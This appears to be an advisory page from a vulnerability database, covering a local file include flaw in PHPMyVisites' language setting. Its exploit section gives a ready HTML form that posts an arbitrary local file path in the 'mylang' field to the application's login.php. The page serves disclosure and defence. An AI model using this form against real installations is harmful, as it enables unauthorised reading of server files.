• info
• discussion
• exploit
• solution
• references

PHPMyVisites Set_Lang File Include Vulnerability

The following example was provided to demonstrate how to include a local file:

<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
Local file: <input type="text" name="mylang" value="" />
<input type="submit" value="Alexx says RELAX!">
</form>